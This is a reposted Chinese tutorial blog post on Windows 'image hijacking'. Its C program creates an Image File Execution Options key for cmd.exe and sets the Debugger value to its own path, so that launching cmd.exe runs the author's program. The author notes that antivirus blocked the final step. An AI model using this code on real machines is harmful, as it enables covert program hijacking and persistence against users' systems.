映像劫持技术(2):实例
生活随笔
收集整理的這篇文章主要介紹了
映像劫持技术(2):实例
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
在Image File Execution Options下創建cmd.exe項,將其“重定向”到我們自己編寫的程序
1 #include<stdio.h> 2 #include<windows.h> 3 4 int main() 5 { 6 HKEY hKey; 7 DWORD dwDisposition=REG_CREATED_NEW_KEY; //新建一個子項 8 if((::RegCreateKeyEx(HKEY_LOCAL_MACHINE, 9 "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Cmd.exe", 10 0, 11 NULL, 12 REG_OPTION_NON_VOLATILE, 13 KEY_ALL_ACCESS, 14 NULL, 15 &hKey, 16 &dwDisposition))==ERROR_SUCCESS) 17 { 18 printf("success to Create the reg key.\n"); 19 char strPath[MAX_PATH]; 20 int size=GetModuleFileName(NULL,strPath,sizeof(strPath)); 21 int ret=RegSetValueEx(hKey,"Debugger",0,REG_SZ,(const unsigned char *)strPath,size); 22 if(ret==ERROR_SUCCESS) 23 { 24 printf("success to set the registry keys.\n"); 25 } 26 else 27 { 28 printf("fail to set the registry keys.\n"); 29 } 30 RegCloseKey(hKey); 31 } 32 else 33 { 34 printf("fail to create a reg key.\n"); 35 } 36 return 0; 37 }?程序運行的結果只是在創建了cmd.exe項目,在設置該項的值的時候,360安全衛士報毒了,設置不成功
轉載于:https://www.cnblogs.com/lanf/p/5092942.html
總結
以上是生活随笔為你收集整理的映像劫持技术(2):实例的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 两种类型的Spark RDD task解
- 下一篇: MongoDB实战指南(二):索引与查询